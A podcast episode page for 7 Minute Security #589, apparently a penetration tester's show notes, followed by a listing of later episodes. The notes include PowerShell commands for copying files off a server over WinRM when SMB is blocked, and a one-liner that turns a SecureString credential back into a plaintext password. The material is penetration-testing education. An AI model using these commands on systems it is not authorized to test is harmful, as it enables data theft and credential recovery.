7MS #589: Tales of Pentest Pwnage - Part 51
7 Minute Security15 Syys 2023

7MS #589: Tales of Pentest Pwnage - Part 51

In today's tale of pentest pwnage we talk about:

  • The importance of local admin and how access to even one server might mean instant, full control over their backup or virtualization infrastructure

  • Copying files via WinRM when copying over SMB is blocked:

$sess = New-PSSession -Computername SERVER-I-HAVE-LOCAL-ADMIN-ACCESS-ON -Credential *

...then provide your creds...and then:

copy-item c:\superimportantfile.doc -destination c:\my-local-hard-drive\superimportantfile.doc -fromsession $sess
  • If you come across PowerShell code that crafts a secure string credential, you may able to decrypt the password variable with:
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($MyVarIWantToDecryptGoesHere))

Tämä jakso on lisätty Podme-palveluun avoimen RSS-syötteen kautta eikä se ole Podmen omaa tuotantoa. Siksi jakso saattaa sisältää mainontaa.

Jaksot(744)

7MS #744: Using n8n to Automate the Security Dog Food

7MS #744: Using n8n to Automate the Security Dog Food

Hey friends! Today I'm mashing two of our mini-series — eating the security dog food and my new obsession with n8n — into one big automation sandwich. I'll walk you through how Claude and a bunch of J...

17 Loka 26min

7MS #743: Eating the Security Dog Food - Part 9

7MS #743: Eating the Security Dog Food - Part 9

Hey friends, it has been a long time since we talked about eating our own security dog food.  However, I couldn't be more excited about some big ways we've moved the 7MinSec security program forward, ...

9 Loka 25min

7MS #742: Baby's First n8n

7MS #742: Baby's First n8n

Hey friends! I've got some personal and work travel this week, so I'm skipping the tangents (mostly) and jumping straight into something I'm nerdily excited about: Baby's First n8n. If you're not fami...

2 Loka 26min

7MS #741: Tales of Pentest Pwnage - Part 91

7MS #741: Tales of Pentest Pwnage - Part 91

Hey friends! Today's tale of pentest pwnage is brought to you by four hours of sleep, a large mint hot cocoa, and unhealthy levels of giggity. There's a very good reason for all three, but you'll have...

25 Syys 36min

7MS #740: Tales of Pentest Pwnage - Part 90

7MS #740: Tales of Pentest Pwnage - Part 90

Hey friends! We've been on a bit of a Tales of Pentest Pwnage bender lately, so let's keep it rolling with Part 90. (And Mom, relax — this is not one pentest story chopped into 90 parts.) Today is les...

18 Syys 33min

7MS #739: Tales of Pentest Pwnage – Part 89

7MS #739: Tales of Pentest Pwnage – Part 89

Hey friends! Today is a tale of pentest pwnage episode, and this one features a path to escalation I have never seen before – one I could only find few references on the entire Internet. It happened c...

11 Syys 17min

7MS #738: Baby's First ProjectDiscovery Neo

7MS #738: Baby's First ProjectDiscovery Neo

Hey friends! Today I'm talking about Baby's First Neo — and to be crystal clear, I don't mean Keanu, and I don't mean the R&B guy with the hat. I mean the AI-powered pentest assistant from our pals at...

4 Syys 29min

7MS #737: Tales of Pentest Pwnage – Part 88

7MS #737: Tales of Pentest Pwnage – Part 88

Hello friends! Today's tale of pentest pwnage isn't a start-to-finish march to DA – it's me finally emptying out the backlog of "gosh, I've got to share this next time" internal network tips that have...

28 Elo 33min

Suosittua kategoriassa Politiikka ja uutiset

uutiscast
aikalisa
vallattomat
politiikan-puskaradio
rss-viihde-media
ootsa-kuullut-tasta-2
rss-vaalirankkurit-podcast
rss-ootsa-kuullut-tasta
tervo-halme
otetaan-yhdet
rss-podme-livebox
rss-voi-venaja
rss-asiastudio
rss-raha-talous-ja-politiikka
rikosmyytit
aihe
nakokulma-oikealta-jussi-halla-ahon-blogin-kommentaarit
rss-suoraan-asiaan
rss-etusivu
rss-kaikki-uusiksi